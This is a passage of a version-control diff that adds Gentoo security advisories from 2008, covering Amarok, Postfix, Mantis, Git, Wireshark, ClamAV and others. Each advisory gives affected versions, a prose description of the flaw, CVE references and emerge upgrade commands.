+  <title>Amarok: Insecure temporary file creation</title>
+  <synopsis>
+    Amarok uses temporary files in an insecure manner, allowing for a symlink
+    attack.
+  </synopsis>
+  <product type="ebuild">amarok</product>
+  <announced>September 08, 2008</announced>
+  <revised>September 08, 2008: 01</revised>
+  <bug>234689</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-sound/amarok" auto="yes" arch="*">
+      <unaffected range="ge">1.4.10</unaffected>
+      <vulnerable range="lt">1.4.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Amarok is an advanced music player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dwayne Litzenberger reported that the
+    MagnatuneBrowser::listDownloadComplete() function in
+    magnatunebrowser/magnatunebrowser.cpp uses the album_info.xml temporary
+    file in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform a symlink attack to overwrite arbitrary
+    files on the system with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Amarok users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/amarok-1.4.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3699">CVE-2008-3699</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 Sep 2008 17:05:46 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 05 Sep 2008 21:54:43 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 05 Sep 2008 21:54:55 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-09.xml b/xml/htdocs/security/en/glsa/glsa-200809-09.xml
new file mode 100644
index 00000000..e8a9d29d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-09.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-09">
+  <title>Postfix: Denial of Service</title>
+  <synopsis>
+    A memory leak in Postfix might allow local users to cause a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">postfix</product>
+  <announced>September 19, 2008</announced>
+  <revised>September 19, 2008: 01</revised>
+  <bug>236453</bug>
+  <access>local</access>
+  <affected>
+    <package name="mail-mta/postfix" auto="yes" arch="*">
+      <unaffected range="ge">2.4.9</unaffected>
+      <unaffected range="ge">2.5.5</unaffected>
+      <vulnerable range="lt">2.4.9</vulnerable>
+      <vulnerable range="lt">2.5.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Postfix is Wietse Venema's mailer that attempts to be fast, easy to
+    administer, and secure, as an alternative to the widely-used Sendmail
+    program.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been discovered than Postfix leaks an epoll file descriptor when
+    executing external commands, e.g. user-controlled $HOME/.forward or
+    $HOME/.procmailrc files. NOTE: This vulnerability only concerns Postfix
+    instances running on Linux 2.6 kernels.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to reduce the
+    performance of Postfix, and possibly trigger an assertion, resulting in
+    a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Allow only trusted users to control delivery to non-Postfix commands.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Postfix 2.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/postfix-2.4.9&quot;</code>
+    <p>
+    All Postfix 2.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/postfix-2.5.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3889">CVE-2008-3889</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 03 Sep 2008 20:58:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 08 Sep 2008 18:33:40 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 Sep 2008 18:33:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-10.xml b/xml/htdocs/security/en/glsa/glsa-200809-10.xml
new file mode 100644
index 00000000..3d9152e1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-10.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-10">
+  <title>Mantis: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mantis.
+  </synopsis>
+  <product type="ebuild">mantisbt</product>
+  <announced>September 21, 2008</announced>
+  <revised>November 26, 2008: 02</revised>
+  <bug>222649</bug>
+  <bug>233336</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mantisbt" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mantis is a PHP/MySQL/Web based bugtracking system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Antonio Parata and Francesco Ongaro reported a Cross-Site Request
+    Forgery vulnerability in manage_user_create.php (CVE-2008-2276), a
+    Cross-Site Scripting vulnerability in return_dynamic_filters.php
+    (CVE-2008-3331), and an insufficient input validation in
+    adm_config_set.php (CVE-2008-3332). A directory traversal vulnerability
+    in core/lang_api.php (CVE-2008-3333) has also been reported.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to execute
+    arbitrary HTML and script code, create arbitrary users with
+    administrative privileges, execute arbitrary PHP commands, and include
+    arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mantis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mantisbt-1.1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2276">CVE-2008-2276</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3331">CVE-2008-3331</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3332">CVE-2008-3332</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3333">CVE-2008-3333</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 19 Sep 2008 19:55:47 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 19 Sep 2008 19:59:03 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 20 Sep 2008 21:37:36 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-11.xml b/xml/htdocs/security/en/glsa/glsa-200809-11.xml
new file mode 100644
index 00000000..3c8db002
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-11.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-11">
+  <title>HAVP: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been reported in HAVP.
+  </synopsis>
+  <product type="ebuild">havp</product>
+  <announced>September 21, 2008</announced>
+  <revised>September 21, 2008: 01</revised>
+  <bug>234715</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/havp" auto="yes" arch="*">
+      <unaffected range="ge">0.89</unaffected>
+      <vulnerable range="lt">0.89</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    HAVP is a HTTP AntiVirus Proxy.
+    </p>
+  </background>
+  <description>
+    <p>
+    Peter Warasin reported an infinite loop in sockethandler.cpp when
+    connecting to a non-responsive HTTP server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send requests to unavailable servers, resulting
+    in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All HAVP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/havp-0.89&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3688">CVE-2008-3688</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 18 Sep 2008 21:30:12 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Sep 2008 21:30:30 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 19 Sep 2008 11:28:47 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-12.xml b/xml/htdocs/security/en/glsa/glsa-200809-12.xml
new file mode 100644
index 00000000..18292024
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-12.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-12">
+  <title>Newsbeuter: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Insufficient input validation in newsbeuter may allow remote attackers to
+    execute arbitrary shell commands.
+  </synopsis>
+  <product type="ebuild">newsbeuter</product>
+  <announced>September 22, 2008</announced>
+  <revised>September 22, 2008: 01</revised>
+  <bug>236506</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-news/newsbeuter" auto="yes" arch="*">
+      <unaffected range="ge">1.2</unaffected>
+      <vulnerable range="lt">1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Newsbeuter is a RSS/Atom feed reader for the text console.
+    </p>
+  </background>
+  <description>
+    <p>
+    J.H.M. Dassen reported that the open-in-browser command does not
+    properly escape shell metacharacters in the URL before passing it to
+    system().
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a feed with specially
+    crafted URLs, possibly resulting in the remote execution of arbitrary
+    shell commands with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Newsbeuter users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-news/newsbeuter-1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3907">CVE-2008-3907</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 11 Sep 2008 17:38:14 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Sep 2008 21:45:41 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Sep 2008 21:45:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-13.xml b/xml/htdocs/security/en/glsa/glsa-200809-13.xml
new file mode 100644
index 00000000..8dfb858d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-13.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-13">
+  <title>R: Insecure temporary file creation</title>
+  <synopsis>
+    R is vulnerable to symlink attacks due to an insecure usage of temporary
+    files.
+  </synopsis>
+  <product type="ebuild">R</product>
+  <announced>September 22, 2008</announced>
+  <revised>September 22, 2008: 01</revised>
+  <bug>235822</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/R" auto="yes" arch="*">
+      <unaffected range="ge">2.7.1</unaffected>
+      <vulnerable range="lt">2.7.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    R is a GPL licensed implementation of S, a language and environment for
+    statistical computing and graphics.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that the "javareconf" script uses temporary
+    files in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to overwrite
+    arbitrary files with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All R users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/R-2.7.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3931">CVE-2008-3931</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 18 Sep 2008 21:52:27 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Sep 2008 22:01:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 19 Sep 2008 11:52:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-14.xml b/xml/htdocs/security/en/glsa/glsa-200809-14.xml
new file mode 100644
index 00000000..ebde6ddf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-14">
+  <title>BitlBee: Security bypass</title>
+  <synopsis>
+    Multiple vulnerabilities in Bitlbee may allow to bypass security
+    restrictions and hijack accounts.
+  </synopsis>
+  <product type="ebuild">bitlbee</product>
+  <announced>September 23, 2008</announced>
+  <revised>September 23, 2008: 01</revised>
+  <bug>236160</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/bitlbee" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BitlBee is an IRC to IM gateway that support multiple IM protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple unspecified vulnerabilities were reported, including a NULL
+    pointer dereference.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to overwrite
+    existing IM accounts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BitlBee users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/bitlbee-1.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3920">CVE-2008-3920</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3969">CVE-2008-3969</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 05 Sep 2008 20:44:15 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 19 Sep 2008 20:00:27 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 20 Sep 2008 21:14:39 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-15.xml b/xml/htdocs/security/en/glsa/glsa-200809-15.xml
new file mode 100644
index 00000000..71c1ff46
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-15">
+  <title>GNU ed: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability in ed may allow for the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">ed</product>
+  <announced>September 23, 2008</announced>
+  <revised>September 23, 2008: 01</revised>
+  <bug>236521</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/ed" auto="yes" arch="*">
+      <unaffected range="ge">1.0</unaffected>
+      <vulnerable range="lt">1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU ed is a basic line editor. red is a restricted version of ed that
+    does not allow shell command execution.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alfredo Ortega from Core Security Technologies reported a heap-based
+    buffer overflow in the strip_escapes() function when processing overly
+    long filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process specially crafted
+    commands with ed or red, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU ed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/ed-1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3916">CVE-2008-3916</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 14 Sep 2008 11:31:13 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Sep 2008 21:37:26 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Sep 2008 21:37:35 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-16.xml b/xml/htdocs/security/en/glsa/glsa-200809-16.xml
new file mode 100644
index 00000000..5cf03066
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-16.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-16">
+  <title>Git: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple buffer overflow vulnerabilities have been discovered in Git.
+  </synopsis>
+  <product type="ebuild">git</product>
+  <announced>September 25, 2008</announced>
+  <revised>September 25, 2008: 01</revised>
+  <bug>234075</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/git" auto="yes" arch="*">
+      <unaffected range="ge">1.5.6.4</unaffected>
+      <vulnerable range="lt">1.5.6.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Git is a distributed version control system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple boundary errors in the functions diff_addremove() and
+    diff_change() when processing overly long repository path names were
+    reported.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run commands like "git-diff"
+    or "git-grep" on a specially crafted repository, possibly resulting in
+    the remote execution of arbitrary code with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Git users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/git-1.5.6.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3546">CVE-2008-3546</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Sep 2008 11:13:42 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 21 Sep 2008 11:16:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 22 Sep 2008 11:39:05 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-17.xml b/xml/htdocs/security/en/glsa/glsa-200809-17.xml
new file mode 100644
index 00000000..d6b15c02
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-17.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-17">
+  <title>Wireshark: Multiple Denials of Service</title>
+  <synopsis>
+    Multiple Denial of Service vulnerabilities have been discovered in
+    Wireshark.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>September 25, 2008</announced>
+  <revised>September 25, 2008: 01</revised>
+  <bug>236515</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="lt">1.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a network protocol analyzer with a graphical front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were reported:
+    </p>
+    <ul>
+    <li>
+    Multiple buffer overflows in the NCP dissector (CVE-2008-3146).
+    </li>
+    <li>
+    Infinite loop in the NCP dissector (CVE-2008-3932).
+    </li>
+    <li>
+    Invalid read in the tvb_uncompress() function when processing zlib
+    compressed data (CVE-2008-3933).
+    </li>
+    <li>
+    Unspecified error when processing Textronix .rf5 files
+    (CVE-2008-3934).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending
+    specially crafted packets on a network being monitored by Wireshark or
+    by enticing a user to read a malformed packet trace file, causing a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3146">CVE-2008-3146</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3932">CVE-2008-3932</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3933">CVE-2008-3933</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3934">CVE-2008-3934</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Sep 2008 12:39:05 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 24 Sep 2008 19:29:18 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Sep 2008 19:30:10 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-18.xml b/xml/htdocs/security/en/glsa/glsa-200809-18.xml
new file mode 100644
index 00000000..c412926e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-18.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-18">
+  <title>ClamAV: Multiple Denials of Service</title>
+  <synopsis>
+    Multiple vulnerabilities in ClamAV may result in a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>September 25, 2008</announced>
+  <revised>September 25, 2008: 01</revised>
+  <bug>236665</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.94</unaffected>
+      <vulnerable range="lt">0.94</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a free anti-virus toolkit for UNIX, designed
+    especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    Hanno boeck reported an error in libclamav/chmunpack.c when processing
+    CHM files (CVE-2008-1389). Other unspecified vulnerabilites were also
+    reported, including a NULL pointer dereference in libclamav
+    (CVE-2008-3912), memory leaks in freshclam/manager.c (CVE-2008-3913),
+    and file descriptor leaks in libclamav/others.c and libclamav/sis.c
+    (CVE-2008-3914).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to scan a
+    specially crafted CHM, possibly resulting in a Denial of Service
+    (daemon crash). The other attack vectors mentioned above could also
+    result in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.94&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1389">CVE-2008-1389</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3912">CVE-2008-3912</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3913">CVE-2008-3913</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3914">CVE-2008-3914</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 18 Sep 2008 21:57:14 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 24 Sep 2008 19:42:36 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Sep 2008 19:42:53 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200810-01.xml b/xml/htdocs/security/en/glsa/glsa-200810-01.xml
new file mode 100644
index 00000000..587686c2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200810-01.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200810-01">
+  <title>WordNet: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities were found in WordNet, possibly allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">wordnet</product>
+  <announced>October 07, 2008</announced>
+  <revised>October 07, 2008: 01</revised>
+  <bug>211491</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="app-dicts/wordnet" auto="yes" arch="*">
+      <unaffected range="ge">3.0-r2</unaffected>
+      <vulnerable range="lt">3.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordNet is a large lexical database of English.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jukka Ruohonen initially reported a boundary error within the
+    searchwn() function in src/wn.c. A thorough investigation by the oCERT
+    team revealed several other vulnerabilities in WordNet:
+    </p>
+    <ul>
+    <li>Jukka Ruohonen and Rob Holland (oCERT) reported multiple boundary
+    errors within the searchwn() function in src/wn.c, the wngrep()
+    function in lib/search.c, the morphstr() and morphword() functions in
+    lib/morph.c, and the getindex() in lib/search.c, which lead to
+    stack-based buffer overflows.</li>
+    <li>Rob Holland (oCERT) reported two
+    boundary errors within the do_init() function in lib/morph.c, which
+    lead to stack-based buffer overflows via specially crafted
+    "WNSEARCHDIR" or "WNHOME" environment variables.</li>
+    <li>Rob Holland
+    (oCERT) reported multiple boundary errors in the bin_search() and
+    bin_search_key() functions in binsrch.c, which lead to stack-based
+    buffer overflows via specially crafted data files.</li>
+    <li>Rob Holland
+    (oCERT) reported a boundary error within the parse_index() function in
